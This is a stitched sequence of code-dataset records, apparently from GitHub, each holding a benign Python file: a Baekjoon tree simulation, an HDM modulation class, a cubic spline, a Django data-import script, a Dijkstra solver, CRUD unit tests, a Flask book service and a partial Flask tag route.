if trees[x][y]:\n trees[x][y].sort()\n live_trees, dead_trees = [], 0\n for t in trees[x][y]:\n # 여름 - 시체 양분화\n if MAP[x][y] < t:\n dead_trees += (t // 2)\n else:\n MAP[x][y] -= t\n live_trees.append(t + 1)\n\n MAP[x][y] += dead_trees\n trees[x][y] = []\n trees[x][y].extend(live_trees)\n\n if not trees:\n print(0)\n break\n\n # 가을 - 번식\n for x in range(N):\n for y in range(N):\n if trees[x][y]:\n for t in trees[x][y]:\n if t % 5 == 0:\n for i in range(8):\n r, c = x + dx[i], y + dy[i]\n if r < 0 or r >= N or c < 0 or c >= N: continue\n trees[r][c].append(1)\n\n # 겨울 - 영양 추가\n for x in range(N):\n for y in range(N):\n MAP[x][y] += add[x][y]\n\nans = 0\nfor x in range(N):\n for y in range(N):\n ans += len(trees[x][y])\nprint(ans)\nend = time.time()\nprint(f'{end - start:.5f} sec')","repo_name":"essk13/Algorithm","sub_path":"01_problem/python/2021/BAEKJOON/BAEKJOON_16235/16235_BAEKJOON3.py","file_name":"16235_BAEKJOON3.py","file_ext":"py","file_size_in_byte":1729,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"4536903235","text":"\nimport numpy as np\nfrom scipy.linalg import dft\nimport os\nimport torch\n\n\nclass HDM():\n def __init__(self, perm=None, W=4, V=4, D=256, K=4, Modulation='QPSK'):\n\n self.Modulation = Modulation\n self.W = W\n self.V = V\n self.D = D\n self.K = K\n self.M = D // K\n\n if self.Modulation == 'QPSK':\n self.symbols = np.array([1 + 1j, 1 - 1j, -1 + 1j, -1 - 1j])\n self.Q = 4\n\n self.rate = self.V * self.K * (np.log2(self.Q) + np.log2(self.M)) / self.D\n\n if perm is None:\n self.perm = [np.random.permutation(self.D) for i in range(W * V)]\n self.perm_inv = [np.argsort(self.perm[i]) for i in range(W * V)]\n\n self.perm = np.vstack(self.perm)\n self.perm_inv = np.vstack(self.perm_inv)\n\n self.DFT = dft(self.D)\n self.dictionary = [self.DFT[self.perm[i]] for i in range(W * V)]\n self.dictionary = np.hstack(self.dictionary)\n\n def sample(self, N, is_noise=False, noise_type='Uniform', noise_power=0.5):\n '''\n Sample N valid HDM vectors\n output size:\n out2: (N, 2D)\n out1: (N, WV, 2D)\n '''\n index = np.random.randint(self.M, size=(N, self.W * self.V, self.K))\n sym = np.random.randint(self.Q, size=(N, self.W * self.V, self.K))\n for k in range(self.K):\n index[:, :, k] += self.M * k\n\n # Generate noise\n if is_noise is True:\n if noise_type == 'Uniform':\n noise_real = np.random.rand(N, self.W * self.V, self.K) - 0.5\n noise_imag = np.random.rand(N, self.W * self.V, self.K) - 0.5\n noise = noise_power * 2 * (noise_real + noise_imag * 1j)\n\n # Option 1: generate convertible shape\n hdm_out = np.zeros((N, self.W * self.V, self.D), dtype=complex)\n for i in range(N):\n for v in range(self.W * self.V):\n sub_atom = self.dictionary[:, index[i, v, :] + self.D * v]\n sub_sym = self.symbols[sym[i, v, :]]\n if is_noise is True:\n sub_sym += noise[i, v]\n hdm_out[i, v] = sub_atom.dot(sub_sym)\n\n hdm_real = hdm_out.real\n hdm_imag = hdm_out.imag\n out1 = torch.from_numpy(np.concatenate((hdm_real, hdm_imag), axis=2)).float()\n\n out2 = torch.sum(out1, 1)\n\n return out1, out2, index, sym\n\n def decode(self, w):\n '''\n input size: (N, WV, sqrt(2D), sqrt(2D))\n '''\n # Reshape\n\n N, WV, qD, _ = w.shape\n w = w.view(N, WV, -1) # (N, WV, 2D)\n w = w.view(N, WV, 2, qD * qD // 2).permute(0, 1, 3, 2) # (N, WV, D, 2)\n\n perm_inv = torch.from_numpy(self.perm_inv).long() # (WV, D)\n\n out = torch.zeros_like(w)\n for v in range(WV):\n out[:, v, :, :] = w[:, v, perm_inv[v], :]\n\n out = torch.ifft(out, 1)\n\n return out\n\n def proj(self, w):\n '''\n input size: (N, WV, sqrt(2D), sqrt(2D))\n '''\n # Reshape\n\n perm = torch.from_numpy(self.perm).long() # (WV, D)\n\n N, WV, qD, _ = w.shape\n latent = self.decode(w) # (N, WV, D, 2)\n ref = torch.zeros_like(latent)\n ref[latent < 0] = -1\n ref[latent >= 0] = 1\n diff = latent - ref\n diff = diff[:, :, :, 0]**2 + diff[:, :, :, 1]**2\n for i in range(N):\n for j in range(WV):\n _, index = torch.sort(diff[i, j, :])\n ref[i, j, index[2:], :] = 0\n latent[i, j, :, :] = torch.fft(ref[i, j, :, :], 1)\n latent[i, j, :, :] = latent[i, j, perm[j], :]\n\n return torch.cat((latent[:, :, :, 0], latent[:, :, :, 1]), dim=2).view(N, WV, qD, qD)\n\n def suffle(self, w):\n N, WV, qD, _ = w.shape\n w = w.view(N, WV, -1) # (N, WV, 2D)\n w = w.view(N, WV, 2, qD * qD // 2).permute(0, 1, 3, 2) # (N, WV, D, 2)\n\n perm_inv = torch.from_numpy(self.perm_inv).long() # (WV, D)\n\n out = torch.zeros_like(w)\n for v in range(WV):\n out[:, v, :, :] = w[:, v, perm_inv[v], :]\n return out\n def rate(self):\n return self.rate\n\n def params(self):\n print('HDM dimension(D): ' + str(self.D))\n print('HDM groups(K): ' + str(self.K))\n print('HDM hyper-dimention(V): ' + str(self.V))\n print('HDM hyper-dimention(W):' + str(self.W))\n print('HDM rate:' + str(self.rate))\n\n def set_perm(self, perm):\n self.perm = perm\n self.DFT = dft(self.D)\n self.dictionary = [self.DFT[self.perm[i]] for i in range(self.W * self.V)]\n self.dictionary = np.hstack(self.dictionary)\n for i in range(self.W * self.V):\n self.perm_inv[i] = np.argsort(self.perm[i])\n\n def save_perm(self, path):\n np.savetxt(path, self.perm, fmt='%d')\n\n def load_perm(self, path):\n perm = np.loadtxt(path, dtype=int)\n self.set_perm(perm)\n\n def show_perm(self):\n print(self.perm)\n\n def demodulate(self, input):\n pass\n","repo_name":"mingyuyng/JSCC","sub_path":"util/hdm.py","file_name":"hdm.py","file_ext":"py","file_size_in_byte":5035,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"18"} +{"seq_id":"1061926195","text":"import numpy as np\nfrom scipy.linalg import solve_banded\n\nfrom wisdem.commonse.utilities import _checkIfFloat\n\n\nclass NaturalCubicSpline(object):\n \"\"\"\n class implementation of utilities.cubic_with_deriv\n \"\"\"\n\n def __init__(self, xp, yp):\n if np.any(np.diff(xp) < 0):\n raise TypeError(\"xp must be in ascending order\")\n\n # n = len(x)\n self.m = len(xp)\n\n xk = xp[1:-1]\n yk = yp[1:-1]\n xkp = xp[2:]\n ykp = yp[2:]\n xkm = xp[:-2]\n ykm = yp[:-2]\n\n b = (ykp - yk) / (xkp - xk) - (yk - ykm) / (xk - xkm)\n l = (xk - xkm) / 6.0\n d = (xkp - xkm) / 3.0\n u = (xkp - xk) / 6.0\n # u[0] = 0.0 # non-existent entries\n # l[-1] = 0.0\n\n # solve for second derivatives\n fpp = solve_banded((1, 1), np.array([u, d, l]), b)\n self.fpp = np.concatenate([[0.0], fpp, [0.0]]) # natural spline\n self.xp = xp\n self.yp = yp\n\n def __call__(self, x, deriv=False):\n x, n = _checkIfFloat(x)\n y = np.zeros(n)\n dydx = np.zeros(n)\n dydxp = np.zeros((n, self.m))\n dydyp = np.zeros((n, self.m))\n\n # find location in vector\n for i in range(n):\n if x[i] < self.xp[0]:\n j = 0\n elif x[i] > self.xp[-1]:\n j = self.m - 2\n else:\n for j in range(self.m - 1):\n if self.xp[j + 1] > x[i]:\n break\n x1 = self.xp[j]\n y1 = self.yp[j]\n x2 = self.xp[j + 1]\n y2 = self.yp[j + 1]\n\n A = (x2 - x[i]) / (x2 - x1)\n B = 1 - A\n C = 1.0 / 6 * (A**3 - A) * (x2 - x1) ** 2\n D = 1.0 / 6 * (B**3 - B) * (x2 - x1) ** 2\n\n y[i] = A * y1 + B * y2 + C * self.fpp[j] + D * self.fpp[j + 1]\n dAdx = -1.0 / (x2 - x1)\n dBdx = -dAdx\n dCdx = 1.0 / 6 * (3 * A**2 - 1) * dAdx * (x2 - x1) ** 2\n dDdx = 1.0 / 6 * (3 * B**2 - 1) * dBdx * (x2 - x1) ** 2\n dydx[i] = dAdx * y1 + dBdx * y2 + dCdx * self.fpp[j] + dDdx * self.fpp[j + 1]\n\n if n == 1:\n y = y[0]\n dydx = dydx[0]\n\n if deriv:\n return y, dydx\n\n else:\n return y\n","repo_name":"WISDEM/WISDEM","sub_path":"wisdem/rotorse/geometry_tools/cubicspline.py","file_name":"cubicspline.py","file_ext":"py","file_size_in_byte":2285,"program_lang":"python","lang":"en","doc_type":"code","stars":125,"dataset":"github-code","pt":"18"} +{"seq_id":"31739646594","text":"# import pymysql\n#\n# # 连接database\n# conn = pymysql.connect(\n# host='localhost',\n# user =\"root\",\n# password =\"password\",\n# database =\"myechartsite\",\n# )\n#\n# # 得到一个可以执行SQL语句的光标对象\n# cursor = conn.cursor() # 执行完毕返回的结果集默认以元组显示\n# # 得到一个可以执行SQL语句并且将结果作为字典返回的游标\n# # cursor = conn.cursor(cursor=pymysql.cursors.DictCursor)\n#\n# # 定义要执行的SQL语句\n# sql = \"\"\"\n# INSET INTO myechartsite_disewheather (\n# \"\"\"\n#\n# # 执行SQL语句\n# cursor.execute(sql)\n#\n# # 关闭光标对象\n# cursor.close()\n#\n# # 关闭数据库连接\n# conn.close()\n\n# !/usr/bin/env python\nimport os\nimport django\nimport json\nimport numpy as np\nimport random\nos.environ.setdefault(\"DJANGO_SETTINGS_MODULE\", \"mysite.settings\")\n\ndjango.setup()\n\n\n\ndef diseindicatorimport():\n from myechartsite.models import Diseindicator\n import numpy as np\n datalist = []\n data = np.random.uniform(0, 100, size=(7, 7))\n data = np.round(data,decimals=2)\n name = ['ndb','nph','jg','g','nbz','dhs','yxsy']\n for i,s in enumerate(name):\n a = Diseindicator(name=s,rsgxy=data[i][0],hhd=data[i][1],sy=data[i][2],nsz=data[i][3],pgy=data[i][4],sjs=data[i][5],tnb=data[i][6])\n datalist.append(a)\n Diseindicator.objects.bulk_create(datalist)\n\ndef disewheatherimport():\n from myechartsite.models import Disewheather\n datalist = []\n with open(\"./myechartsite/json/disewheather.json\", \"r\") as f:\n data = json.load(f)\n for s in data['data']:\n a = Disewheather(name=s['name'], qing=s['qing'], mai=s['mai'], wu=s['wu'], xue=s['xue'], yu=s['yu'],\n yin=s['yin'])\n datalist.append(a)\n Disewheather.objects.bulk_create(datalist)\n\ndef disewheatherimport2():\n from myechartsite.models import Disewheather\n import numpy as np\n np.set_printoptions(precision=2)\n name = ['nephritis','cystitis','urolithiasis','diabetes','urethritis','nuclearja','pregnancyhy']\n datalist = []\n\n yearlist=range(2019,2020)\n for j in yearlist:\n data = np.random.uniform(0, 50, size=(7, 6))\n for i,s in enumerate(data):\n s = np.around(s, decimals=2)\n a = Disewheather(name=name[i], year =j, qing=s[0], mai=s[1], wu=s[2], xue=s[3], yu=s[4],\n yin=s[5])\n datalist.append(a)\n Disewheather.objects.bulk_create(datalist)\n\ndef pieimport():\n from myechartsite.models import Diseage\n datalist = []\n diselist = [\"sy\",\"sysy\",\"pgy\",\"ndy\",\"ndjh\",\"rxxhd\"]\n year=range(2008,2020)\n with open(\"./myechartsite/json/dise_age.json\", \"rb\") as f:\n s = json.load(f)\n s = s['data']\n for i,y in enumerate(year):\n for x in diselist:\n a = Diseage(name=x, year=year[i], age0_1=s[str(y)][x][0]['value'], age1_10=s[str(y)][x][1]['value'], age11_20=s[str(y)][x][2]['value'],age21_30=s[str(y)][x][3]['value'], age31_40=s[str(y)][x][4]['value'], age41_50=s[str(y)][x][5]['value'], age51_60=s[str(y)][x][6]['value'], age61_70=s[str(y)][x][7]['value'])\n datalist.append(a)\n Diseage.objects.bulk_create(datalist)\n\ndef sex_ageimport():\n from myechartsite.models import Disegenderage\n diselist = [\"慢性/急性肾炎\",\"膀胱炎\",\"尿道结核\",\"尿道炎\",\"溶血性黄疸\"]\n disemap = {\"慢性/急性肾炎\":\"sy\",\"膀胱炎\":\"pgy\",\"尿道结核\":\"ndjh\",\"尿道炎\":\"ndy\",\"溶血性黄疸\":\"rxxhd\"}\n year=[2019,2018,2017]\n datalist = []\n with open(\"./myechartsite/json/sexulity_age.json\", \"rb\") as f:\n s = json.load(f)\n s = s['data']\n for x in diselist:\n for y in year:\n y = str(y)\n a = Disegenderage(name=disemap[x], year=y, sex='male',age0_1=s[x][y][0][0], age1_10=s[x][y][0][1], age10_20=s[x][y][0][2],age20_30=s[x][y][0][3], age30_40=s[x][y][0][4], age40_50=s[x][y][0][5], age50_60=s[x][y][0][6], age60_70=s[x][y][0][7], age70_80=s[x][y][0][8],age80_90=s[x][y][0][9])\n datalist.append(a)\n b = Disegenderage(name=disemap[x], year=y, sex='female',age0_1=s[x][y][1][0], age1_10=s[x][y][1][1], age10_20=s[x][y][1][2],age20_30=s[x][y][1][3], age30_40=s[x][y][1][4], age40_50=s[x][y][1][5], age50_60=s[x][y][1][6], age60_70=s[x][y][1][7], age70_80=s[x][y][1][8],age80_90=s[x][y][1][9])\n datalist.append(b)\n Disegenderage.objects.bulk_create(datalist)\n\ndef user_indiimport():\n from myechartsite.models import Userindicator\n from myechartsite.models import User\n namelist = [\"series1\",\"series2\"]\n indilist = [\"PH\",\"尿比重\",\"尿胆原\",\"微量蛋白\",\"抗坏血酸\",\"肌酐\",\"蛋白质\",\"钙\",\"亚硝酸盐\",\"潜血\",\"白细胞\",\"胆红素\",\"葡萄糖\",\"酮体\"]\n datalist = []\n username=\"用户\"\n with open(\"./myechartsite/json/userdata.json\", \"rb\") as f:\n s = json.load(f)\n b = User.objects.get(name=username)\n a = Userindicator(name=username, ph=s[\"series1\"][0][1], ph_c=s[\"series1\"][0][2],nbz=s[\"series1\"][1][1],nbz_c=s[\"series1\"][1][2],ndy=s[\"series1\"][2][1],ndy_c=s[\"series1\"][2][2],wldb=s[\"series1\"][3][1],wldb_c=s[\"series1\"][3][2],khxs=s[\"series1\"][4][1],khxs_c=s[\"series1\"][4][2],jg=s[\"series1\"][5][1],jg_c=s[\"series1\"][5][2],\n dbz=s[\"series1\"][6][1], dbz_c=s[\"series1\"][6][2],g=s[\"series1\"][7][1],g_c=s[\"series1\"][7][2],yxsy=s[\"series2\"][0][1],yxsy_c=s[\"series2\"][0][2],qx=s[\"series2\"][1][1],qx_c=s[\"series2\"][1][2],\n bxb=s[\"series2\"][2][1], bxb_c=s[\"series2\"][2][2],dhs=s[\"series2\"][3][1],dhs_c=s[\"series2\"][3][2],ptt=s[\"series2\"][4][1],ptt_c=s[\"series2\"][4][2],tt=s[\"series2\"][5][1],tt_c=s[\"series2\"][5][2])\n a.user=b\n datalist.append(a)\n Userindicator.objects.bulk_create(datalist)\n\ndef indi_trendimport():\n from myechartsite.models import Inditrend\n from myechartsite.models import User\n datalist = []\n username='用户'\n with open(\"./myechartsite/json/inditrend.json\", \"rb\") as f:\n s = json.load(f)\n for i in range(len(s.keys())):\n b = User.objects.get(name=username)\n s2 = list(s.keys())[i]\n s1 = s[s2]\n a = Inditrend(name=list(s.keys())[i], indi2008=s1[\"value\"][0], indi2009=s1[\"value\"][1], indi2010=s1[\"value\"][2], indi2011=s1[\"value\"][3],\n indi2012=s1[\"value\"][4], indi2013=s1[\"value\"][5], indi2014=s1[\"value\"][6], indi2015=s1[\"value\"][7], indi2016=s1[\"value\"][8],\n indi2017=s1[\"value\"][9], indi2018=s1[\"value\"][10], indi2019=s1[\"value\"][11],)\n a.user = b\n datalist.append(a)\n Inditrend.objects.bulk_create(datalist)\n\ndef dise_yearimport():\n from myechartsite.models import Diseyear\n datalist = []\n with open(\"./myechartsite/json/dise_year.json\", \"rb\") as f:\n s = json.load(f)\n for i in range(len(s.keys())):\n s2 = list(s.keys())[i]\n s1 = s[s2]\n a = Diseyear(name=list(s.keys())[i], dise2008=s1[\"value\"][0], dise2009=s1[\"value\"][1], dise2010=s1[\"value\"][2], dise2011=s1[\"value\"][3],\n dise2012=s1[\"value\"][4], dise2013=s1[\"value\"][5], dise2014=s1[\"value\"][6], dise2015=s1[\"value\"][7], dise2016=s1[\"value\"][8],\n dise2017=s1[\"value\"][9], dise2018=s1[\"value\"][10], dise2019=s1[\"value\"][11],)\n datalist.append(a)\n Diseyear.objects.bulk_create(datalist)\n\ndef dise_tempimport():\n from myechartsite.models import Disetemp\n import numpy as np\n datalist = []\n data = np.random.uniform(0, 100, size=(84, 12))\n data = np.round(data, decimals=2)\n name = ['rsgxy', 'hhd', 'sy', 'nsz', 'pgy', 'sjs', 'tnb']\n year = range(2008,2020)\n i=0\n for y in year:\n for s in name:\n a = Disetemp(name=s, year=y, temp20_15=data[i][0], temp15_10=data[i][1], temp10_5=data[i][2], temp5_0=data[i][3], temp0_5=data[i][4],\n temp5_10=data[i][5], temp10_15=data[i][6], temp15_20=data[i][7], temp20_25=data[i][8], temp25_30=data[i][9],\n temp30_35=data[i][10], temp35_40 = data[i][11])\n datalist.append(a)\n i+=1\n Disetemp.objects.bulk_create(datalist)\n\ndef dise_monthimport():\n from myechartsite.models import Disemonth\n import numpy as np\n datalist = []\n data = np.random.uniform(0, 100, size=(84, 12))\n data = np.round(data, decimals=2)\n name = ['rsgxy', 'hhd', 'sy', 'nsz', 'pgy', 'sjs', 'tnb']\n year = range(2008,2020)\n i=0\n for y in year:\n for s in name:\n a = Disemonth(name=s, year=y, month1=data[i][0], month2=data[i][1], month3=data[i][2], month4=data[i][3], month5=data[i][4],\n month6=data[i][5], month7=data[i][6], month8=data[i][7], month9=data[i][8], month10=data[i][9],\n month11=data[i][10], month12 = data[i][11])\n datalist.append(a)\n i+=1\n Disemonth.objects.bulk_create(datalist)\n\ndef wheatherimport():\n from myechartsite.models import Wheather\n wheatherc = ['雨', '多云闪电', '雪', '晴', '多云', '多风']\n locationlist = ['北京','天津','西安','广州']\n datalist=[]\n for x in locationlist:\n data = {}\n\n tempd = np.random.randint(10, 30, 2)\n t2 = np.max(tempd)\n t1 = np.min(tempd)\n # wheather = {'雨': 'rain', '多云闪电': 'cloud-lightning', '雪': 'snow', '晴': 'sun', '多云': 'cloud', '多风': 'wind'}\n # rootpath = \"../../static/myechartsite/img/wheatherimg/\"\n # if t1 != t2:\n # # data['temp'] = np.random.randint(t1, t2, size=1)[0]\n # # else:\n # # data['temp'] = t1\n data['tempmin'] = t1\n if t1 == t2:\n t2 = t1+5\n data['tempmax'] = t2\n data['tempnow'] = np.random.randint(t1, t2, size=1)[0]\n data['aqi'] = np.random.randint(50, 200, size=1)[0]\n if data['aqi'] > 100:\n data['aqic'] = \"差\"\n else:\n data['aqic'] = \"优\"\n data['wheather'] = random.choice(wheatherc)\n print(data)\n # data['imgurl'] = rootpath + wheather[data['weather']] + \".png\"\n a = Wheather(location=x, tempnow=data['tempnow'], tempmin=data['tempmin'], tempmax=data['tempmax'],\n aqi=data['aqi'], aqic=data['aqic'], wheather=data['wheather'], )\n datalist.append(a)\n Wheather.objects.bulk_create(datalist)\n\ndef articleimport():\n from myechartsite.models import Article\n import chardet\n datalist = []\n rootpath=\"./myechartsite/json/articles/\"\n article = Article.objects.get(id=4)\n print(article.imgurl)\n # for x in articles:\n # print(x.id)\n # for x in os.listdir(rootpath):\n # with open(os.path.join(rootpath,x), \"rb\") as f:\n # txt = f.read()\n # type = chardet.detect(txt)\n # s = txt.decode(type['encoding'],errors='ignore').splitlines()\n # title=str(s[0])\n # imgurl = str(s[1])\n # introduction = str(s[2])\n # content = \"\".join(s[3:])\n # a = Article(title=title, content=content,introduction=introduction,imgurl=imgurl)\n # print(title)\n # print(introduction)\n # print(content)\n # datalist.append(a)\n # Article.objects.bulk_create(datalist)\n\ndef diseaqiimport():\n from myechartsite.models import Diseaqi\n timeline= [\n 2019,\n 2018,\n 2017,\n 2016,\n 2015,\n 2014\n ]\n disease = [\"慢性/急性肾炎\",\"膀胱炎\",\"尿道结核\",\"尿道炎\",\"溶血性黄疸\"]\n pollution=[\"PM2.5\",\"PM10\",\"NO2\",\"SO2\",\"O3\",\"CO\" ]\n datalist = []\n with open(\"./myechartsite/json/disease_pollution.json\", \"rb\") as f:\n s = json.load(f)\n s = s['data']\n for x in disease:\n for i in range(len(timeline)):\n\n a = Diseaqi(name=x, year=timeline[i], ratio=s[x][i][0], pm2_5=s[x][i][1],\n pm10=s[x][i][2], NO2=s[x][i][3], SO2=s[x][i][4],\n O3 =s[x][i][5], CO=s[x][i][6])\n datalist.append(a)\n Diseaqi.objects.bulk_create(datalist)\n\ndef provinceimport():\n from myechartsite.models import Province\n datalist = []\n with open(\"./myechartsite/json/hospital-map-data.json\", \"rb\") as f:\n s = json.load(f)\n for x in s['province']:\n a = Province(name=x)\n datalist.append(a)\n Province.objects.bulk_create(datalist)\n\ndef cityimport():\n from myechartsite.models import Province\n from myechartsite.models import City\n datalist = []\n with open(\"./myechartsite/json/hospital-map-data.json\", \"rb\") as f:\n s = json.load(f)\n s=s['city']\n for b in Province.objects.all():\n for x in s[b.name]:\n a = City(name=x)\n a.province = b\n datalist.append(a)\n City.objects.bulk_create(datalist)\n\ndef modeltest():\n from myechartsite.models import User\n username=\"闫海\"\n if User.objects.get(id=1).name != username:\n same_name_user = User.objects.filter(name=username)\n if same_name_user: # 用户名唯一\n message = '用户已经存在,请重新选择用户名!'\n print(message,User.objects.get(id=1).name)\nif __name__ == \"__main__\":\n user_indiimport()\n print('Done!')\n","repo_name":"SSTTfit/visualization-project","sub_path":"mysite/dataimport.py","file_name":"dataimport.py","file_ext":"py","file_size_in_byte":13441,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"24875597810","text":"class Deikstras_alg():\n\n def __init__(self):\n self.graph = dict()\n self.processed = list()\n self.costed = list()\n self.costs = dict()\n self.parents = dict()\n self.infinity = float('inf')\n self.nodescount = 0\n \n \n node = input('Input node name (empty for run algorithm):')\n while node:\n self.graph[node] = dict()\n self.nodescount += 1\n neighbor = input('Node neighbor name (empty for end input): ')\n while neighbor:\n neighbor_weight = None\n while not neighbor_weight:\n neighbor_weight = int(input(\"Input weight (can't be empty): \"))\n if neighbor_weight < 0:\n neighbor_weight = None\n print(\"Deikstra's algorithm cant calculate shortest way for negative values!!\")\n else:\n self.graph[node][neighbor] = neighbor_weight\n if self.nodescount < 2:\n self.costs[neighbor] = neighbor_weight\n self.parents[neighbor] = node\n self.costed.append(neighbor)\n else:\n if neighbor not in self.costed:\n self.costs[neighbor] = self.infinity\n self.parents[neighbor] = None\n neighbor = input('Node neighbor name (empty for end input): ')\n node = input('Input node name (empty for run algorithm):')\n print(\"\\nCount of nodes: %s\" % (self.nodescount,))\n\n\n def find_lowest(self, costs):\n lowest_cost = self.infinity\n lowest_cost_node = None\n for node in self.costs:\n cost = self.costs[node]\n if cost < lowest_cost and node not in self.processed:\n lowest_cost = cost\n lowest_cost_node = node\n return lowest_cost_node\n\n\n def find_shortest_way(self):\n node = self.find_lowest(self.costs)\n while node:\n cost = self.costs[node]\n neighbors = self.graph[node]\n for n in neighbors.keys():\n new_cost = cost + neighbors[n]\n if self.costs[n] > new_cost:\n self.costs[n] = new_cost\n self.parents[n] = node\n self.processed.append(node)\n node = self.find_lowest(self.costs)\n return self.costs['finish']\n\n\nif __name__ == '__main__':\n deikstra = Deikstras_alg()\n print(\"The shortest way is: \",deikstra.find_shortest_way())\n \n","repo_name":"sergiosiniy/algorithms","sub_path":"deikstra.py","file_name":"deikstra.py","file_ext":"py","file_size_in_byte":2608,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"13476480802","text":"import time\nimport unittest\n\nfrom app.services.collections_service import CollectionsService\nfrom app.services.crud_service import CrudService\nfrom app.services.files_reader import FilesReader\nfrom app.services.indexes_service import IndexesService\nfrom app.services.query_manager import QueryManager\nfrom app.test.collections_simulator import CollectionsSimulator\nfrom app.threads.cleaning_stack import CleaningStack\nfrom app.threads.threads_manager import ThreadsManager\nfrom app.tools.collection_meta_data import CollectionMetaData\nfrom app.tools.database_context import DatabaseContext\n\nclass CrudServiceTest(unittest.TestCase):\n\n @classmethod\n def setUpClass(cls):\n if DatabaseContext.THREADS_MANAGER_CYCLING == False:\n DatabaseContext.THREADS_MANAGER_CYCLING = True\n ThreadsManager().start()\n\n CollectionsSimulator.build_single_col('col', ['id'])\n\n @classmethod\n def tearDownClass(cls):\n CollectionsSimulator.clean()\n\n def setUp(self):\n self.crud_service = CrudService()\n self.collections_service = CollectionsService()\n self.query_manager = QueryManager()\n self.indexes_service = IndexesService()\n\n def test_bulk_insert_new_docs(self):\n docs = [{'id': 11}, {'id': 12}, {'id': 13}, {'id': 14}, {'id': 15}]\n col_meta_data = CollectionMetaData('col')\n\n count = self.collections_service.count(col_meta_data)\n\n self.crud_service.upsert(col_meta_data, docs)\n\n self.assertEqual(self.collections_service.count(col_meta_data), count + 5)\n self.assertEqual(self.indexes_service.get_lines(col_meta_data, 11), [count])\n self.assertEqual(self.indexes_service.get_lines(col_meta_data, 12), [count + 1])\n self.assertEqual(self.indexes_service.get_lines(col_meta_data, 13), [count + 2])\n self.assertEqual(self.indexes_service.get_lines(col_meta_data, 14), [count + 3])\n self.assertEqual(self.indexes_service.get_lines(col_meta_data, 15), [count + 4])\n \n def test_bulk_update_docs(self):\n docs = [{'id': 2, 'first_name': 'Joe', 'last_name': 'Smith'}, {'id': 5, 'first_name': 'Emmetttttttt', 'last_name': 'Brown'}]\n col_meta_data = CollectionMetaData('col')\n\n count = self.collections_service.count(col_meta_data)\n\n self.crud_service.upsert(col_meta_data, docs)\n\n self.assertEqual(self.collections_service.count(col_meta_data), count)\n\n self.assertEqual(self.query_manager.get_one(col_meta_data.collection, 2), docs[0])\n self.assertEqual(self.query_manager.get_one(col_meta_data.collection, 5), docs[1])\n\n def test_bulk_insert_and_update(self):\n docs = [{'id': 21}, {'id': 2, 'first_name': 'Jack', 'last_name': 'Smith'}, {'id': 22}, {'id': 5, 'first_name': 'Emmmmmmmmmmmmmet', 'last_name': 'Brown'}, {'id': 23}]\n col_meta_data = CollectionMetaData('col')\n\n count = self.collections_service.count(col_meta_data)\n\n self.crud_service.upsert(col_meta_data, docs)\n\n self.assertEqual(self.collections_service.count(col_meta_data), count + 3)\n self.assertEqual(self.query_manager.get_one(col_meta_data.collection, 2), docs[1])\n self.assertEqual(self.query_manager.get_one(col_meta_data.collection, 5), docs[3])\n self.assertEqual(self.indexes_service.get_lines(col_meta_data, 21), [count])\n self.assertEqual(self.indexes_service.get_lines(col_meta_data, 22), [count + 1])\n self.assertEqual(self.indexes_service.get_lines(col_meta_data, 23), [count + 2])\n\n def test_bulk_delete(self):\n search_query = {'$filter': {'id': [3, 4]}}\n col_meta_data = CollectionMetaData('col')\n\n count = self.collections_service.count(col_meta_data)\n\n self.crud_service.delete(col_meta_data, search_query)\n\n while CleaningStack.get_instance().contains_data():\n time.sleep(DatabaseContext.THREADS_CYCLE)\n\n self.assertEqual(self.collections_service.count(col_meta_data), count - 2)\n results = self.query_manager.search(col_meta_data.collection, search_query)\n self.assertEqual(len(results), 0)\n\n def suite():\n return unittest.TestLoader.loadTestsFromTestCase(SearchServiceTest)\n","repo_name":"serlesen/PyDB","sub_path":"app/services/test_crud_service.py","file_name":"test_crud_service.py","file_ext":"py","file_size_in_byte":4205,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"11149423500","text":"from flask import Flask\nfrom src.service.repositories.book_repository import BookRepository\nfrom src.dto.response.paginated_book_response import PaginatedBookResponse\n\napp = Flask(__name__)\n\nclass BookService:\n\n def __init__(self):\n self.book_repo = BookRepository()\n\n def add_book(self, book_req):\n app.logger.debug(\"Adding book...\")\n book_id = self.book_repo.save(book_req)\n app.logger.debug(\"Added book (id: {0})\".format(book_id))\n return book_id\n\n def get_paginated_books_response(self, start, limit):\n app.logger.debug(\"Getting paginated books (start: {0}, limit: {1})\".format(start, limit))\n n_of_books = self.book_repo.count_all()\n\n books = self.book_repo.find_n_books(start, limit)\n\n books_response = PaginatedBookResponse(books, start, limit, n_of_books)\n\n app.logger.debug(\"Got paginated books (start: {0}, limit: {1}, count: {2}, current_size: {3})\".format(start, limit, n_of_books, len(books)))\n return books_response","repo_name":"ivanprokopets/Web-application","sub_path":"Aplikacja_Webowa_Etap_3/sixth_app/src/service/book_service.py","file_name":"book_service.py","file_ext":"py","file_size_in_byte":1015,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"8289708788","text":"# 作者:hao.ren3\n# 时间:2019/12/3 15:19\n# IDE:PyCharm\n\nfrom flask import render_template, request, url_for\nfrom app.main import bp\nfrom app.models.Post import Post\nfrom app.models.Tag import Tag\nfrom config import Config\n\n@bp.route('/tag/')\ndef tag(tag_name):\n current_tag = Tag.query.filter_by(tag=tag_name).first()\n posts = current_tag.posts\n\n # 手动分页\n nb_post_per_page = Config.POSTS_PER_PAGE\n page = request.args.get('page', 1, type=int)\n\n # 计算当前页面的第一个post和最后一个post的索引\n start_index = (page-1)*nb_post_per_page\n end_index = nb_post_per_page*page\n\n\n has_prev = True\n has_next = True\n next_num = page + 1\n prev_num = page - 1\n\n if page == 1:\n has_prev = False\n if end_index>=len(posts)-1:\n has_next = False\n\n posts = posts[start_index:end_index]\n\n next_url = url_for('main.explore', page=next_num) \\\n if has_next else None\n prev_url = url_for('main.explore', page=prev_num) \\\n if has_prev else None\n\n return render_template('index.html', title='标签:'+tag_name, posts=posts,\n next_url=next_url,\n prev_url=prev_url,\n 